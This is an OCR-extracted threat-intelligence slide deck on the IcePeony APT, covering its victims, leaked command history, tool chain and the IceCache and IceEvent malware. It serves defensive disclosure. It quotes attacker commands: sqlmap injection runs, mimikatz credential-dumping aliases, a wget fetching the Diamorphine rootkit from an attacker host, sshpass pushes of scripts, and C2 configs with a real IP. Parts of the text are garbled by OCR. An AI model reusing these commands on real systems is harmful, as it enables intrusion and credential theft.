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lcePeony



IcePeony ;) nao_sec

China-nexus APT group
o Active since at least 2023

» Targeting South and Southeast Asia

* |India, Mauritius, and Vietham
* |ndian Ocean and South China Sea

« Mainly government agencies

« Exploiting web application vulnerability
« SQL Injection

« Using IS module malware
» |IceCache

 Maybe connected to China's maritime strategy




Victimology Q nao_sec
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m Government Vietnam
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OPSEC Fail



OpenDir

;) nao_sec

In early July 2024, IcePeony had set their server to OpenDir

 Tools
* CobaltStrike 4.8
» craXcel
» frp
* Impacket
* reGeorg
« Sglmap
* SUOS
« Stowaway

 Malware
* |ceCache Client

« Command History
 .zsh_history

« Some scripts and logs

Directory listing for /

e . CobaltStrike4.8
e .aliases

e .bashrc

e .cache/

o .cloud-locale-test.skip
e .config/

e .loca

e .oh-my-zsh/

e .profile

e .ssh

e .viminfo

:

:




Command History ) nao_sec

Two weeks command history was left, revealing the detalls of the intrusions

17195 :@;cd sqglmap
17195 B .9O;vim 1.txt
17195 m 9;python sglmap.py -r 1.txt -p txtOfficerName --dbs
: 171957 g ®0;curl g - —
17195 B0;curl https://pue suld gt Bugo-mll“Sdol o 0 dafe®
17195 m :9;python sgqlmap.py -r 1l.txt -p txtOfficerName --dbs
17195 :0;python sglmap.py -r 1.txt -p txtOfficerName --dbs --random-agent
17195 gy g@;nmap -sV -pl-65535 -T4 -vv JB® %% o1 ]I
17195mm  ERO;]1s
17195 '@;curl https://sa  .u adllf Yuucl I3E B.."
17195 mm :9;1s
17195 :0;apt-get install lrzsz
17195 '0:rz -E
1?195. r@;ls
17195 pumm :0;chmod +Xx suo5-linux-amdé4
17195 puuum ©5 - /SUO5-1inux-amdé4 -h
17195 :0; ./suo5-1linux-amd64 -t https://«F* 1= =" i". "N, FE 10 """. -1 0.0.0.0:8080

mn
17195 103 ./suo5-1inux-amdé4 -t https://*™ +"""1" " "W " « "FEN. -1 0.0.0.0:8080




.aliases ;) nao._ sec

 Aliases for commands commonly used in intrusions
* Help for commands commonly used in intrusions

hPass ()} {
echo -e "\B833[32m user ha
echo "mimikatz.exe "log logon.txt" "Prl _1.-'::

echo - "\033[32m user hash(offline)

st
sekurlsa: :minidump lsazg.de“

echo "mimikatz.exe "privilege::debug” "

echo -e 1332 32m local ldap hs
echo "mimikatz.exe sadump: :dcsync fdomain:test.com /&
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Intrusion Timeline



Timeline (1/2) /) nao_sec

[7/1]
[6/28] Used IceCache to add proxy rules
SQL Injection was attempted on
govt websites. If successful, a
webshell or IceCache was [7/3]
installed .

Various tools were used to
maintain the compromise,
including StaX and Diamorphine

[7/4]

Further compromises
were attempted using
URLFinder and sqlmap

[7/2]
[6/29] Explored other
User information from the potentially vulnerable
domain environment was hosts and attempted to
collected, and an account for compromise them

exploitation was created



Timeline (2/2)

[7/5]

User and group information from the
domain environment was collected
using IceCache

[7/6]
Checked the connections

;) nao_sec

[7/8]
Password-protected Excel files were

cracked using craXel, and lateral
movement was attempted using WmiExec

[7/10]
Checked the connections and
attempted lateral movement

[7/11]
Checked the
connections and
attempted lateral

[7/9] c
New proxy rules were movemen

added, and persistence
was established by task

schedule
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Tools



CobaltStrike Q nao._ sec

 Version 4.8 (Cracked)
o https://github.com/3yujw7njai/CobaltStrike-4.8-Cracked

* Probably using bingsearch_getonly.profile

PASS=1PTevy3F3X4rQs
echo $PASS > password.txt

echo

echo Server IP: 165.22.211.62

echo Server Pass: $PASS

./teamserver 165.22.211.62 $PASS Profile/bingsearch _getonly.profile



https://github.com/3yujw7njai/CobaltStrike-4.8-Cracked

sgimap (1/2) ;7 nao_sec

« Well-known SQL injection tool
« Command line arguments used

python sqglmap.py 1.txt txtOfficerName

python sqglmap.py "https://[REDACTED]/[REDACTED].aspx?status=BySchemeBenifits&pointvalue=1" pointvalue

- Introduction ( =

sqlmap is an open source penetration testing tool that automates the process of detecting and
exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection
engine, many niche features for the ultimate penetration tester and a broad range of switches lasting
from database fingerprinting, over data fetching from the database, to accessing the underlying file
system and executing commands on the operating system via out-of-band connections.

https://salmap.org/



https://sqlmap.org/
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POST /aSearch.aspx HTTP/1.1
Host: poy "wra pe |
Connection: close
Content-Length: 1928
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";
v="126"

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache

X-Requested-With: XMLHttpRequest

X-MicrosoftAjax: Delta=true

sec-ch-ua-platform: "Windows"

Accept: */*

Origin: https://.mfme « Baw W E.".1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://pdpi «ul = 5.y« -8/35earch.aspx
Accept-Encoding: gzip, deflate

Accept-Language: en-US

ScriptManager4=UpdatePanel4%7CbtnSearch& EVENTTARGET=&
__EVENTARGUMENT=& _LASTFOCUS=&
___VIEWSTATE=%2FWEPDWUJIMzcXOTAZNTgWwD2QWAgIED2QWEAIED2QWAMYPZBYUAEMPEA

8WAh4HQ2h1Y2t1ZGdkZGRkAgcPEABWAh8AaGRkZGQCCQ8PFgIeBOVUYWISZWROZGQCCwW




SUu05 ;) nao._ sec

« HTTP proxy tunnel built on the Chunked-Encoding

« With transmission performance similar to FRP

e Supports usage in nginx reverse proxy and load balancing scenarios
« Supports all versions of IIS .Net Framework >= 2.0

./suo5-1inux-amd64 -t https://[REDACTED]/reg.aspx -1 ©0.0.0.0:8080

DTSR EREETE 5, PO IBREMRINEERMER, R HNRIFBEEEERR

$ ./suo5 -t https://example.com/proxy.jsp

https://qgithub.com/zemal/suo5



https://github.com/zema1/suo5

StaX

« Customized Stowaway

;) nao_sec

* Open Source highly functional proxy tool develop in Go language
« Added implementation of encryption for communication targets given as arguments

« Custom Baseb4 + AES

./sta -c sOIEU1DF9pDpLeXjPtDRbLNNGRIPUTP9tsNwmSYauDzhPF-glkYElceYCKS8

./agent -c sOIEULIDF9pDpLeXjPtDRbLNNGRIPUTP9tsNwmSYauDzhPF-glkYElceYCKS8

v24 = {void *)encoding basesd4 ptr Encoding DecodeString(
( DWORD)qword 9739B8,

w19,
{_DWORD)v1l@,

(_DWORD)v11,

if ( vie )
return @LL;

o ¥
runtime stringtoslicebyte((unsigned int)&vds, a3,
StaX crypto KeyPadding{v2o, a3, » @, ( DWORD)w11,

_;:___J
return runtime slicebytetostring(e, w4,

ad, @, (_

(unsigned int)StaX crypto AESDecrypt(v4?, w23, w45, w35

¥ ¥ ¥

3 ddy ¥

Tt

agent

iritial

atad_agent_initial achieve JUID
atad_asent_intial_MaodeMonitaor
atar_agent_initial_Mormalbctive
atak_agent_initial MormalPassive
atar_agent_initial MormalPazsiee func|
atar_agent_intial_init_0 func
atak_agent_intial_init_0

atar agent initial ParseCptions

"'l-uq"'l-:"'h"'l-:"'l-:"ﬁ"'l-:"'l-u

atar_agent_initial checkOptions




URLFinder Q nao._ sec

« Used to analyze js and url in the page to find sensitive information or
unauthorized api interfaces hidden

-a BEE Xuser-agentifkk
-b B YbaseurlPEE
-c  EKFRMcookie

-d  TEEHRENETER , TEFIENZRAT

-f  Ht2BurlilER, HIEEur1 AR
YNGR RIERIEK REUHTBARS Ff 5-fXBI | LRGSR, WAR— M urlBERRNE (RTH—R4ER | REfit—R%R)
N SREN B js. urFISIEMEE h FEENER
-1 MNERyamlERESCH, TERE iER k. TEINE (R, SESE1E 2 0R—NER A yan BB XTH)
A “m PR :

1 IEFEHMER (B

2 RAMEY  (RURA—E ISSEAZE BHLEHUR)

3 REFEAINME (FiEdelete, removeHFEURERH)
-max ERAIMEER

ISEN3E, urlEANIE -0 ZRSHFcsv, json, htm1X#H, FIEESEXHES ((AFRHFIEH)
(R EERELE -s  STIEEIRESN, all AR EER

HEjsFOUriR AR EATEY -t HBLIZE (Bhilse)

-time WERBHTETA] (BAILS, EAIFD)

-u  B#RURL

-x  HERIE, B http://username:password@l27.0.0.1:8877

-z 1RENFTE B it 4ea5 i Tfuzz (W & TAHEES, BB S -s —i2fEM)
1 BHIiEFfuzz
2 2% BEFUEfuzz
3 BTG fuzz CEGVERHEER)

https://github.com/pingcOy/URLFinder



https://github.com/pingc0y/URLFinder

craXcel ;) nao._ sec

« Removes Workbook and Worksheet craXcel-cli (v2.0)
P rOte Ctl O n paSSWO rdS O n Excel fl I eS Python command line application to unlock Microsoft Office password protected files.

« craXcel cannot unlock encrypted files

ource/repos/craXcel-cli (development)

5 python craxcel.py "test-files




ProxyChains Q nao_sec

« OSS proxy tool for executing commands
* https://github.com/haad/proxychains

 Using to execute some scripts
* info.sh
* linux_back.sh
* linux_seo.sh

ip=REDACTED
proxychains sshpass "Admin@123" StrictHostKeyChecking=no /root/web/info.sh root@$ip:/tmp/

proxychains sshpass "‘Admin@123" StrictHostKeyChecking=no /root/linux_back.sh root@$ip:/tmp/
proxychains sshpass "‘Admin@123" StrictHostKeyChecking=no /root/linux_seo.sh root@$ip:/tmp/
proxychains sshpass "Admin@123" StrictHostKeyChecking=no root@$ip



https://github.com/haad/proxychains

Info.sh

« Gathers system information and stores it in

sysinfo.txt
* Environment information
* user information
* installed tool versions
* network environment
 ssh configuration files

« command history waine)
echo "" > $SYSINFOFILE

b
Sl o e

fun_catfile
fun_catfile
fun_catfile
fun_catfile

cpu
05
versions

ipinfo

portscan

cmdInfo
infofiles
findfiles

cat $SYSINFOFILE

fun_catfile
fun_catfile
fun_catfile
fun_catfile
fun_catfile

;) nao_sec

versions() {

echo "" »> $SYSINFOFILE

tmp=%(bash /dev/null| grep ersion 1)
echo "bash: $tmp" >> $SYSINFOFILE
tmp=% (python 2>/dev/null)
echo "python: $tmp" >> $SYSINFOFILE
tmp=% (python2 2>/dev/null)
O $tmp™ >> $SYSINFOFILE
2>/dev/null)
) $tmp™ >> $SYSINFOFILE
tmp=% (perl 2>/dev/null|grep
echo "perl: $tmp" >> $SYSINFOFILE
tmp=% (php 2>/dev/null|grep built)
echo "php: $tmp™ >> $SYSINFOFILE
tmp=%(java 2>&1 |grep version)
echo "java: $tmp" >> $SYSINFOFILE
tmp=%(gcc 2>/dev/null|grep gcc)
echo "gcc: $tmp™ >> $SYSINFOFILE
tmp=%(ruby 2>/dev/null)
echo "ruby: $tmp” >> $SYSINFOFILE




linux_back.sh (1/2) /) nao_sec

backshell(){
echo
cd $WORKDIR

* Installing backdoor

« Creating a user Brep (o keep e e ete/ayscd
. echo "net.ip
« Checking system stats touch -r /e

sysctl
fi

3 [fetc/crontab && mkdir fetc/crontab
I -e fllbeVbtemdfqvbtem} 1; fhtn

mkdir J fevetemd/ sy

touch

touch

rm C
mv jdezuﬁll.:h /13

$NEEHDRT && echo "E
Sy .emdfsy em,/

ksqell.zh




linux_back.sh (2/2) /) nao_sec

* Rootkit installation
« Diamorphine
o https://github.com/mOnad/Diamorphine

rookit(){

echo

if [ “whoami™ != "root" ];then
echo "Need root privilege!”
return @

fi

cd $WORKDIR

if [ | -e ./Diamorphine.tgz ];then

test $WEBHOST && echo "Error: Please specify the WebHost to download Diamorphine.tgz!" && return 1;

wget http://$WEBHOST/Diamorphine . tgz ./Diamorphine.tgz
| -e ./Diamorphine.tgz ];then

echo "Error: Diamorphine.tgz is not exist!"

return 1;



https://github.com/m0nad/Diamorphine

Other Tools Q nao._ sec

* Nmap [ common]

o f”3 server_addr 165.22.211.62
server_port 28443

* Impacket token = Mk89BELQM1

* reGeorg
[socks _proxy]

» fscan type = tcp

* Ladon remote port = 21080

plugin = socks5

linux-exploit-suggester
DirtyCow exploit

python neoreg.py -u https://[REDACTED]/check.aspx -k Rrm3BTQwgNyAIEl2 -1 0.0.0.0 -p 8440




Q Nnao_sec

IceCache / IceEvent



lIceCache / IceEvent Q nao_sec

« Compromise the victim's IIS with IceCache
* lceEvent was probably used for internal network communications

Actor C2 Victim IS Server Victim Server

[Request]

—

[Response] DLL

IceCache Client IceCache Module

-----------------------

------------------------

----------------------

Used for internal
communication?

IceEvent




lceCache Client

Usage:

Q nao_sec

iisClient [OPTIONS]

Basic:

 ELF64 Binary

» Developed in Go lang

« Customized reverse proxy
based on reGeorge

0s

Arch
Compiler
Build ID
Main root

# main

# std

# vendor
—buildmode
—compiler
—trimpath
DefaultGODEBUG
CGO_ENABLED
GOARCH

GO0S
GOAMDeU

-—verbose
——ua=
—host=
—admin
——version

Proxy:
——enable=
—1list
—add=
——del=
—clear
—count
—setCache=
——clearCache

EM_X86_6U

amdeu

1.21.1 (2823-09-086)
0gqOCbNX2DLf1VUn7GIq/SThDyn
reGeorgGo —socks
1 ——Llisten=
1‘3‘3 ——port:

2

exe —up=

gc —down=
true

panicnil=1 —,
B -t,
amdéeu
Llinux
vl

—cmd=
—timeout=

Help Options:
-h, —help

The url containing the tunnel script
Specify the target param

Show verbose debug message

Set header User-Agent

Set header Host

Whether to use the Administrator to exec
Version

Enable/Disable proxy function, 1 (enable) or 8 (disable) (default: -1)
List proxy rules

Add a proxy rule, foward 'to' target host

Del a proxy rule

Clear all proxy rules

Show the count statistics

Set the cache time(in second), set @ to disable cache (default: -1)
Clear cache data(not change cacheable status)

Start a Socks server
Socks listen address (default: ©.0.8.8)
Socks listen port (default: 8888)

Upload a local file 'to' remote server
Download a remote file 'to' local

The command to execute, example: whoami
Timeout of the command execution in seconds (default: 5)

Show this help message




IceCache Module (1/2) /) nao_sec

* Installed on IIS Server

* There are two types
 although some commands are not even present in the same type

 PDB

» C:¥Users¥power¥documents¥visual studio
2017¥Projects¥cachsess¥x64¥Release¥cachsess.pdb

» C:¥Users¥power¥Documents¥Visual Studio
2017¥Projects¥cachsess¥Release¥cachsess32.pdb



IceCache Module (2/2) ;7 nao_sec

TYPE-A TYPE-B

EXEC / EXEC_PRO

Command to the execution of a process

EXEC / EXEC_PRO

Command that directs the execution of a process

SOCKS_HELLO

Command to SOCKS protocol initial handshake message

SOCKS_HELLO

SOCKS protocol initial handshake message

SOCKS_CONNECT

Command to indicate a connection request with the SOCKS
protocol

SOCKS_CONNECT

Command to indicate a connection request with the
SOCKS protocol

SOCKS_DISCONNECT

Command to indicate disconnection with SOCKS protocol

SOCKS_DISCONNECT

Command to indicate disconnection with SOCKS protocol

SOCKS_READ

Command to reading of data in SOCKS protocol

SOCKS_READ

Command that directs reading of data in SOCKS protocol

SOCKS_FORWARD

Command to instruct data transfer via SOCKS protocol

SOCKS_FORWARD

Command to instruct data transfer via SOCKS protocol

PROXY_ADD Command to add a proxy PROXY_ADD Command to add a proxy
PROXY_LIST Command to list a proxy PROXY_LIST Command to list a proxy
PROXY_DEL Command to del a proxy PROXY_DEL Command to del a proxy

PROXY_CLEAR

Command to clear all proxy settings

PROXY_CLEAR

Command to clear all proxy settings

PROXY_SET_JS

Set the JavaScript

PROXY_GET_JS

Get set the JavaScript

FILE_UPLOAD /
FILE_UPLOAD_PRO

Upload Files

PROXY_ALLOW_PC

Allowed PC settings

PROXY_CACHE_CLEAR

Command to clear the proxy cache

FILE_DOWNLOAD /
FILE_DOWNLOAD_PRO

Download Files

PROXY_CACHE_TIME

Command to set proxy cache time

[IS_VERSION

Show IIS version

FILE_UPLOAD

Upload Files

FILE_DOWNLOAD

Download Files




lceCache Module Type

;) nao_sec

sha256][:8] Compile Time First Submission Submitter Cmd Num  X-Token

5b16d153 2024-07-17 09:11:14 2024-08-03 04:58:20 c8d0b2b9 (ID) 20 tn7rM2851XVvOFbc B
4842740 2024-06-21 03:05:15 2024-08-07 09:25:53 39d4d6d2 — emaill 20 tn7rM2851XVvOFbc B
11e90e24 2024-06-05 03:52:48 2024-06-18 12:21:50 d9ch313c (ID) 20 tn7rM2851XVvOFbc B
b8d030ed 2024-06-05 03:52:41 2024-06-18 10:47:18 4081927 (ID) 20 tn7rM2851XVvOFbc B
ceb47274 2024-04-25 09:53:26 2024-08-02 21:50:50 06ac9f47 (BR) 20 tn7rM2851XVvOFbc B
d1955169 2024-04-21 11:29:25 2024-06-18 12:24:39 d9ch313c (ID) 18 tn7rM2851XVvOFbc B
de8f58f0 2024-04-21 11:29:10 2024-06-18 10:49:53 4081927 (ID) 18 tn7rM2851XVvOFbc B
535586af 2024-03-27 05:08:50 2024-04-19 07:57:19 c2440bbf (ID) 18 tn7rM2851XVvOFbc B
Ob8b10a2 2024-03-27 05:08:57 2024-04-18 13:54:16 c2440bbf (ID) 18 tn7rM2851XVvOFbc B
a66627cc 2024-02-20 09:26:58 2024-03-12 15:17:55 a6412166 (VN) 16 cbFOVVX1582Mr7nt A
e5f520d9 2024-02-01 09:32:21 2024-07-17 09:30:04 24761b38 (SG) 24 cbFOVVX1582Mr7nt A
3eb56218 2023-12-07 03:04:16 2024-03-20 13:54:02 0f09alae (ID) 24 cbFOVVX1582Mr7nt A
5fd5e99f 2023-09-27 08:50:46 2024-03-24 08:59:02 Ca43fbOf (ID) 24 cbFOVVX1582Mr7nt A
Oeb60e4c 2023-08-23 09:11:24 2023-10-18 10:11:00 0e8f2a34 (VN) 18 cbFOVVX1582Mr7nt A




lceCache Module Type

;7 nao_sec

sha256][:8] Compile Time First Submission Submitter Cmd Num  X-Token

5b16d153 2024-07-17 09:11:14 2024-08-03 04:58:20 c8d0b2b9 (ID) 20 tn7rM2851XVVOFbc B
48462740 2024-06-21 03:05:15 2024-08-07 09:25:53 39d4d6d2 — email 20 tn7rM2851XVVOFbc B
11e90e24 2024-06-05 03:52:48 2024-06-18 12:21:50 d9ch313c (ID) 20 tn7rM2851XVVOFbc B
b8d030ed 2024-06-05 03:52:41 2024-06-18 10:47:18 4081927 (ID) 20 (41 FILE_UPLORD_PRO B
ceba7274 2024-04-25 09:53:26 2024-08-02 21:50:50 06ac947 (BR) 20 (et te i B
d1955169 20" [-JPROXY_LTST CONTENT 2024-06-18 12:24:39 d9ch313c (ID) 18 tn7rM2851XVVOFbc B

[-]PROXY_ADD_CONTENT
de8f58f0 2| [IPROXY_GET CONTENT 2024-06-18 10:49:53 4081927 (ID) 18 tn7rM2851XVVOFbc B
535586af L 2024-04-19 07:57:19 Cc2440bbf (ID) 18 tnf [+]PRoXY_cownT e B
" [-]PROXY_SET_JS . [+)115_/ERSTON
0b8b10a2 Clono aer e 2024-04-18 13:54:16 C2440bbf (ID) 18 NTViZ B TAVVOFAE =~ B
a66627cc DOuLIPROXVALLONPC /' 5024-03-12 15:17:55 26412166 (VN) 16 cbFOWX1582Mr7nt A
e5f520d9 2024-02-01 09:32:21 2024-07-17 09:30:04 24761b38 (SG) 24 cbFOVWX1582Mr7nt A
3eb56218 2023-12-07 03:04:16 _ 2024-03-20 13:54:02 0f09alae (ID) 24 cbFOVVX1582Mr7nt A
5fd5e99f <4°/ [+]PROXY_LIST_CONTENT | 2024-03-24 08:59:02 Ca43fb0f (ID) 24 cbFOVVX1582Mr7nt A
[+]PROXY_ENABLE
Oeb60e4c \Zq [+]PROXY_ADD_CONTENT 2023-10-18 10:11:00 Oe8f2a34 (VN) 18 CbFOVVX1582Mr7nt A

[+]PROXY_DEL_CONTENT

[+]PROXY_GET_CONTENT
t[+]PROXY_CLEAR_CONTENT )




IceEvent (1/2) Q nao_sec

Installed as a service

Simple Passive Backdoor
« Hard-coded list of ports to listen on 49834

Log output to TEMP folder
o C:¥¥Windows¥¥Temp¥¥servicelog.txt

PDB

« C:¥Users¥power¥Documents¥Visual Studio
2017¥Projects¥WinService¥x64¥Release¥WinService.pdb



IceEvent (2/2) Q nao_sec

TYPE-A

FILE:

Command to Reading files via sockets

CMD:

Command to the execution of a process

TYPE-B

UPFILE Upload Files

DOWNFILE Download Files

CMD Command to the execution of a process

sha256[:8] Compile Time First Submission Submitter Cmd Num
80e83118 2024-04-25 09:50:58  2024-07-25 05:43:08 INDIA(99003aca) 3 B
9aba997b 2024-04-30 04:48:48  2024-06-14 05:46:49 INDIA(060734bd) 3 B
9a0b0439 2024-04-25 09:50:58  2024-06-14 05:00:08 INDIA(060734bd) 3 B
bc94dala 2023-08-23 08:52:46  2023-09-05 03:03:57 INDIA(81f8b666) 2 A




Similarities between IceCache and IceEvent Q Nnao_sec

« Same encoding method for communication data
« Same command implementation

 PDB shows that they were made in the same development environment
» C:¥Users¥power¥Documents¥Visual Studio 2017¥Projects



Similarities between

IceCache and IceEvent

Q Nnao_sec

L B B B BN BB BN

L ]

1

23

36
37 }

_OWORD *__ fastcall xor(_QWORD *al, _QWORD *a2)
unsigned __inte4 i; // rsi
size t wa4; // rdx
_QWORD *enc_data; // rdx
_QWORD *dec_data; // rax
int key[4]; // [rsp+28h] [rbp-28h]
i = BLL; .
key[@] = @x32633425; L]
vd = a2[2]; L]
a1[3] = 15LL; .
al[2] = @LL; L]
*(_BYTE *)al = @; .
key[1] = @x3CTBCAAL; L]
key[2] = @x56F2EBD; L]
key[3] = @x56372809; L]
sub_l13@el3gae(al, vi); L
if ( az2[2] ) L]
do
if ( a2[3] < exlBulL ) L]
enc_data = a2; .
else
enc_data = (_QWORD *)*a2; .
if ( al[3] < exlBulL ) .
dec_data = al; L
else
dec_data = (_QWORD *)*al; L
*((_BYTE *)dec_data + i)} = *((_BYTE *)enc_data + i} ~ *((_BYTE *)key + (i & OxF)}); L
+Hi; L]
while ( i < a2[2] ); L]
h
return al; L
L

{

1
2
3
a
5
B
7
3
9
18

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37 }

unsigned _ inted w2; //

size t w4; // rdx
_OQWORD *wB; // rdx
_OWORD *v7; // rcx

int w9[8]; // [rsp+28h]

w2 = BLL;
va[@] = Bx32633425;

vd = a2[2];

al[2] = BLL;

al[3] = 15LL;

*(_BYTE *)al = @;
va[1] = @x3CTBCAAL;
wa[2] = BxSEF2ERD;
va[3] = Bx56372809;
sub_148@851B@(al, wvi);
if { az[2] )

do

if (
vE =
else
vb
if (
w7 =
else
w7
*((_BYTE *Ju7 + v2)
++uly

az;

al;

while ( v2 < a2[2] );
b

return al;

_QWORD *_fastcall sub_148@@35F8(_QWORD *al, _QWORD *a2)

rsi

[rbp-28h]

a22[3] < Bxleull )

{_QWORD *}*a2;
al[3] < Bxleull )

= (_QWORD *)*al;

= *((_BYTE *)v6 + v2) ~ *((_BYTE *)vd + (v2 & @xF));

IceCache

IceEvent




Similarities between IceCache and IceEvent

Pseudocode-A

Pseudocode-H

IceCache

eeseesse evee
o
&

.
o
o

188
181
102
1e3
184
185
106
187
108
189
118
111
112
113
114
115
116
117
118
119
126
121
122
123
124
125
126
127
128
129
13e
131
132
133
134
135
136
137
138
139
148
141
142
143
144
145
146
147
148
149
158
151
152
153
154
155
156
157
158
159
168

* esecsvseee o

R

ceees e

.

R

eeeee

StartupInfo.dwFlags |= @x186u;
if ( *((_QWORD *)v4 + 3) >= BuLL )
va = S(WCHAR *)vd;
if ( !CreateProcessu(eLL, v4, OLL, OLL, 1, @, OLL, OLL, &tartupInfo, &rocessInformation) )
{
CloseHandle(hiritePipe);
CloseHandle(hReadPipe);
GetLastError();
sub_180813988(Buffer, “CreateProcess failed: %d");
a1[3] = 15LL;
a1[2] = OLL;
*(_BYTE *)al = @;
if ( Buffer[e] )

do
UG
while ( Buffer[vs] );
}
goto LABEL_19;

}
CloseHandle(huritePipe);
V7 = 85
NumberOfBytesRead = @;
src[3] = 15LL;

sref2] = eLL;
LOBYTE(Src[8]) = @;
vE = 8
TotalBytesAvail = @;
va = @;

while ( 1)

while (1)

if (W7 || v )
Sleep(@x32u);

if ( PeekNamedPipe(hReadPipe, OLL, @, BLL, &TotalBytesAvail, @LL) &% TotalBytesAvail )
break;

vE = 83

TotalBytesAvail = @

vl o= 8

NumberOfBytesRead = 8;

if ( ++v9 3= 28 )
goto LABEL_30;

}

if ( !Readrile(hReadPipe, Buffer, 8x100@u, &NumberOfBytesRead, OLL) || !NumberOfSytesRead )
break;

Vi o= B3

sub_188806968(Src, Buffer, NumberOfEytesRead);

v7 = NumberOfBytesRead;

v8 = TotalBytesAvail;

}
LABEL_38:
CloseHandle (hReadPipe);
if ( WaitForSingleobject(ProcessInformation.hProcess,

CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
TerminateProcess(ProcessInformation.hProcess, 1u);
w28 = 15LL;
w27 = eLL;

MultiByteStr[@] = @
sub_180807480(Multisytestr, "Time out!™, 9uLL);
v1e = (const WCHAR *)sub_130@12830(v22, MultiSyteStr);
sub_180@12D50(al, v1B);
if (v2a>=8

std::allocator<wchar_t>::deallocate(v22, v22[8], v24 + 1);
v24 = 7LL;
w23 = eLL;
LOWORD(v22[@])
sub_180886880

}

else

wltiBytestr);

CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation. hThread);

w11 = (const WCHAR *)sub_188812838(v22, (LPCCH)Src);
sub_186012058(al, v11);

if (via >= 8 )

. 94 v2 = *(WCHAR **)v2;
® 95 if ( ICreateProcessu(OLL, v2, ®LL, @LL, 1, @, ®LL, @LL, &StartupInfo, &FrocessInformation) )
96
. 97 CloseHandle(hiritePipe);
. o8 CloseHandle(hReadPipe) ;
* 99 GetlastError();
* 100 sub_1480@565@(Euffer, "CreateProcess failed: %d");
* 101 v25 = BLL;
* 1062 v26 = 15LL;
® 103 srcfe] = e;
* 164 \ -1
* 165 -1
106
* 167 +H75
* 108 while ( Buffer[v7] );
® 109 sub_14800261@(5rc, Buffer, v7);
® 110 sub_1480@3438( (__int64)5rc);
® 111 a1[2] = eLL;
® 112 al[3] = 15LL;
® 113 =(_BYTE *)al = @;
114 do
® 115 Hudy
. 116 while ( Buffer[vi] );
. 117 goto LABEL_22;
18}
® 119 CloseHandle(hiritePipe);
® 1286 v8 = 0;
® 121 NumberOfBytesRead = 8;
® 122 v35 = BLL;
® 123 v26 = 15LL;
® 124 src[e] = @;
® 125 o = 9;
® 126  TotalBytesAvail
® 127  vie = 8;
® 128 while (1)
129 {
® 138 while (1)
131 {
. 132 if (lva || tva )
® 133 Sleep(@x32u);
® 134 if ( PeckNamedPipe(hReadPipe, ®LL, @, OLL, &TotalBytesAvail, @LL) &R TotalBytesivail )
® 135 break;
® 136 vo o= 8
® 137 TotalBytesAvail = 8;
® 138 vB = 8;
® 139 NumberOfBytesRead =
* 140 if ( ++v10 >= 60 )
® 141 goto LABEL 33;
142 }
® 143 if ( !ReadFile(hReadPipe, Buffer, @x100@u, &NumberOfBytesRead, @LL) || !NumberofBytesRead )
. 144 break;
® 145 V10 = 85
® 146 sub_148002468(5rc, Buffer, NumberOfBytesRead);
® 147 v8 = NumberOfBytesRead;
® 145 v9 = TotalBytesAvail;
143}
158 LABEL 33:
® 151  Closerandle(hReadPipe);
® 152 if ( WaitForSingleobject(ProcessInformation.hProcess, @x7538u) == 258 )
153 {
® 154 CloseHandle(ProcessInformation.hThread);
® 155 CloseHandle(ProcessInformation.hProcess);
® 156 TerminateProcess(ProcessInformation.hProcess, 1u);
* 157 vi4 = BLL;
® 158 vi5 = 7LL;
® 159 wideCharstr[e] = @;
* 160 sub_148005090(HideCharstr, L™Time out!™);
® 161 sub_1480@38Ca(al, WideCharStr);
162
163 else
164
® 165 CloseHandle(ProcessInformation.hProcess);
® 166 ClaseHandle(ProcessInformation.hThread);
® 167 V1l = (const WCHAR *)sub_1480@36A@(HideCharStr, Src);
® 168 sub_1488035C@(al, v1l);
169}
® 176 sub_1480@239@(Wid=Char5tr);
® 171 sub_14808257@(5rc);
® 172 return al;
® 173 }

Q Nnao_sec

IceEvent




C&C Communication ;7 nao_sec

80808888 58 4+ 53 54 28 2+ 20 48 54 54 58 2+ 31 2e 31 8d  POST / H TTP/1.1.
00808818 B8a 48 6T 73 74 3a 280 31 389 32 2e 31 36 38 2e 31 .Host: 1 92.168.1

000820 31 2e 31 36 @d Ba 55 73 65 72 2d 41 67 65 6e 74 1.16..Us er-Agent I t
pPEeEB30 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 2b 28 4d  : Mozill a/5.8+(M npu

600840 53 49 45 2b 31 30 2e 38 3b 2b 57 69 6e 64 6f 77 SIE+10.0 ;+Window

60000850 73 2b de 54 2b 36 2e 31 3b 2b 54 72 69 64 65 6e  s+NT+6.1 ;+Triden FYeer st A§ us o2V

60e0EB60 74 2f 35 2e 30 29 0d Ba 43 6f e 74 65 6e 74 2d  t/5.8).. Content- -

B00PB870 4c 65 6e 67 74 68 3a 20 33 35 Od @a 58 2d 43 6d  Length: 35..X-Cm . »50Q5 50 J0csQIX s Ué ss escLAMX#Q \/1
60e0EBSe 64 3a 20 45 58 45 43 @d ©@a 58 2d 54 6f 6b 65 6e  d: EXEC. .X-Token

60000890 3a 20 63 62 46 4f 76 56 58 31 35 38 32 4d 72 37  : cbFOW X1582Mr7

pPEORRAR 6e 74 @d Pa 41 63 63 65 70 74 2d 45 6e 63 6f 64 nt..Acce pt-Encod

pPBeEBBe 69 6e 67 3a 20 67 7a 69 70 Od Pa @d Ba ing: gzi

g8eeeeBD XOR

gaeeeach

goeeeses 43 54 54 58 21 31 2e 31 28 32 308 30 28 4+ 4b e8d  HTTP/1.1 288 OK.

00000010 0a 43 6F Ge 74 65 Ge 74 24 54 79 70 65 3a 20 74 Content -Type: +
00008828 65 78 74 2 78 6c 61 69 6e 3b 28 63 68 61 72 73 ext/plai n; chars
geeeee3e 65 74 3d 55 54 46 2d 38 ©d Ba 53 65 72 76 65 72 et=UTF-8 ..Server
geeeep4n  3a 28 4d 69 63 72 6f 73 6f 66 V4 2d 49 49 53 2f @ Micros oft-IIS/
geeeppse 31 38 2e 30 Bd Ba 58 2d 53 54 41 54 55 53 3a 28 18.8..X- STATUS:

